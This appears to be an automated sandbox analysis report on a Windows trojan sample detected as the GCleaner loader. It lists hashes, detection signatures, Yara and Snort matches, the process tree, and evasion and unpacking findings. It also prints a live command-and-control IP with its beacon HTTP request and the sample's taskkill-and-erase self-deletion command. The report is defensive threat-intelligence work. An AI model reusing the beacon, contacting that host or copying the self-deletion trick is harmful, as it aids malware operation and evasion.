Edit tour

Windows Analysis Report
xQXHoWMKoa.exe

Overview

General Information

Sample name:	xQXHoWMKoa.exe renamed because original name is a hash value
Original sample name:	b6e4dc4fd0cc50fbb1236fe1108b886d.exe
Analysis ID:	1428892
MD5:	b6e4dc4fd0cc50fbb1236fe1108b886d
SHA1:	ca17fc4111dbc08551aabe0e890c337448a19eda
SHA256:	114aa6cb595ed49423707788c3a06a79e250d23d0615108cbb3fb5bdd20af5c8
Tags:	32exetrojan
Infos:

Detection

GCleaner

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected GCleaner

C2 URLs / IPs found in malware configuration

Machine Learning detection for sample

AV process strings found (often used to terminate AV products)

Checks if the current process is being debugged

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

One or more processes crash

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara signature match

Classification

Process Tree

System is w10x64

xQXHoWMKoa.exe (PID: 1088 cmdline: "C:\Users\user\Desktop\xQXHoWMKoa.exe" MD5: B6E4DC4FD0CC50FBB1236FE1108B886D)

WerFault.exe (PID: 1720 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1088 -s 732 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 1084 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1088 -s 752 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 2640 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1088 -s 768 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 5888 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1088 -s 780 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 3636 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1088 -s 920 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 5504 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1088 -s 1020 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 6472 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1088 -s 1364 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cmd.exe (PID: 1680 cmdline: "C:\Windows\System32\cmd.exe" /c taskkill /im "xQXHoWMKoa.exe" /f & erase "C:\Users\user\Desktop\xQXHoWMKoa.exe" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3752 cmdline: taskkill /im "xQXHoWMKoa.exe" /f MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
GCleaner		No Attribution	https://bazaar.abuse.ch/browse/signature/GCleaner/ https://github.com/VenzoV/MalwareAnalysisReports/blob/main/GCleaner/GCleaner%20Techincal%20Analysis%20with%20BinaryNinja.md https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145 https://n1ght-w0lf.github.io/malware%20analysis/gcleaner-loader/ https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/	https://malpedia.caad.fkie.fraunhofer.de/details/win.gcleaner

Malware Configuration

Threatname: GCleaner

{"C2 addresses": ["185.172.128.90"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2080339469.0000000001C7E000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1190:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000003.2002198477.0000000003670000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security

Unpacked PEs

Source	Rule	Description	Author
0.3.xQXHoWMKoa.exe.3670000.0.raw.unpack	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
0.2.xQXHoWMKoa.exe.3640e67.1.raw.unpack	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
0.2.xQXHoWMKoa.exe.3640e67.1.unpack	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
0.2.xQXHoWMKoa.exe.400000.0.unpack	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
0.3.xQXHoWMKoa.exe.3670000.0.unpack	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
0.2.xQXHoWMKoa.exe.400000.0.raw.unpack	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
Click to see the 1 entries

Snort Signatures

ETPRO TROJAN Win32/Unknown Loader Related Activity (GET) - Source IP: 192.168.2.5 - Destination IP: 185.172.128.90

Timestamp:	04/19/24-19:24:58.164548
SID:	2856233
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: GET /cpa/ping.php?substr=one&s=two HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 185.172.128.90Connection: Keep-AliveCache-Control: no-cache

Source: xQXHoWMKoa.exe, 00000000.00000002.2080392133.0000000001D48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.90/cpa/ping.php?substr=one&s=two
Source: Amcache.hve.4.dr	String found in binary or memory: http://upx.sf.net

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2080339469.0000000001C7E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_00404710	0_2_00404710
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_00409860	0_2_00409860
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_0041813E	0_2_0041813E
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_00413C49	0_2_00413C49
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_00413464	0_2_00413464
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_00421D0A	0_2_00421D0A
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_036583A5	0_2_036583A5
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_03649AC7	0_2_03649AC7
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_03644977	0_2_03644977
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_036536CB	0_2_036536CB

Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: String function: 03648CC7 appears 38 times
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: String function: 00408A60 appears 38 times

Source: C:\Users\user\Desktop\xQXHoWMKoa.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1088 -s 732

Source: xQXHoWMKoa.exe, 00000000.00000002.2080057672.0000000001A11000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFires0 vs xQXHoWMKoa.exe
Source: xQXHoWMKoa.exe	Binary or memory string: OriginalFilenameFires0 vs xQXHoWMKoa.exe

Source: xQXHoWMKoa.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.2080339469.0000000001C7E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.evad.winEXE@13/30@0/1

Source: C:\Users\user\Desktop\xQXHoWMKoa.exe

Code function: 0_2_01C7F1BE CreateToolhelp32Snapshot,Module32First,

0_2_01C7F1BE

Source: C:\Users\user\Desktop\xQXHoWMKoa.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\ping[1].htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3648:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1088

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\9e0a8213-7155-47bf-a581-c40677521b2e

Jump to behavior

Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Command line argument: `a}{	0_2_00404710
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Command line argument: `a}{	0_2_03644977
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Command line argument: (zB	0_2_03644977
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Command line argument: `yB	0_2_03644977

Source: xQXHoWMKoa.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\taskkill.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "xQXHoWMKoa.exe")

Source: C:\Users\user\Desktop\xQXHoWMKoa.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\xQXHoWMKoa.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: xQXHoWMKoa.exe

ReversingLabs: Detection: 42%

Source: unknown	Process created: C:\Users\user\Desktop\xQXHoWMKoa.exe "C:\Users\user\Desktop\xQXHoWMKoa.exe"
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1088 -s 732
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1088 -s 752
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1088 -s 768
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1088 -s 780
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1088 -s 920
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1088 -s 1020
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1088 -s 1364
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /im "xQXHoWMKoa.exe" /f & erase "C:\Users\user\Desktop\xQXHoWMKoa.exe" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "xQXHoWMKoa.exe" /f
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /im "xQXHoWMKoa.exe" /f & erase "C:\Users\user\Desktop\xQXHoWMKoa.exe" & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "xQXHoWMKoa.exe" /f	Jump to behavior

Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll

Source: C:\Users\user\Desktop\xQXHoWMKoa.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\xQXHoWMKoa.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: xQXHoWMKoa.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: s(C:\sumapo.pdb source: xQXHoWMKoa.exe
Source:	Binary string: C:\sumapo.pdb source: xQXHoWMKoa.exe

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\xQXHoWMKoa.exe

Unpacked PE file: 0.2.xQXHoWMKoa.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\xQXHoWMKoa.exe

Unpacked PE file: 0.2.xQXHoWMKoa.exe.400000.0.unpack

Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_00424AC8 push ss; ret	0_2_00424AC9
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_0040857E push ecx; ret	0_2_00408591
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_01C82146 pushad ; ret	0_2_01C82198
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_01C82975 push ebp; retf	0_2_01C82976
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_01C818C4 push 5AE86760h; ret	0_2_01C818CA
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_01C8309D push FFFFFF8Bh; ret	0_2_01C830A0
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_01C813B6 push ecx; ret	0_2_01C813B7
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_01C822B8 pushad ; ret	0_2_01C822BC
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_01C82222 push eax; iretd	0_2_01C82260
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_01C84C9F push dword ptr [ebx]; iretd	0_2_01C84CA2
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_01C837E0 push ss; ret	0_2_01C837F3
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_01C837F4 push ss; ret	0_2_01C837F3
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_01C83FA3 push ecx; ret	0_2_01C83FA2
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_01C837B8 push ss; ret	0_2_01C837F3
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_01C837B6 push ss; ret	0_2_01C837F3
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_01C83F5A push ecx; ret	0_2_01C83FA2
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_01C83757 push ss; ret	0_2_01C837F3
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_01C83769 push ss; ret	0_2_01C837F3
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_01C7FF65 push 6B2D8590h; ret	0_2_01C7FF75
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_01C83F29 push ecx; ret	0_2_01C83FA2
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_01C7FF3A pushad ; retf	0_2_01C7FF51
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_0365420F push esp; retf	0_2_03654217
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_0365480D push esp; retf	0_2_0365480E
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_0365C705 push ss; retf	0_2_0365C709
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_036487E5 push ecx; ret	0_2_036487F8

Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
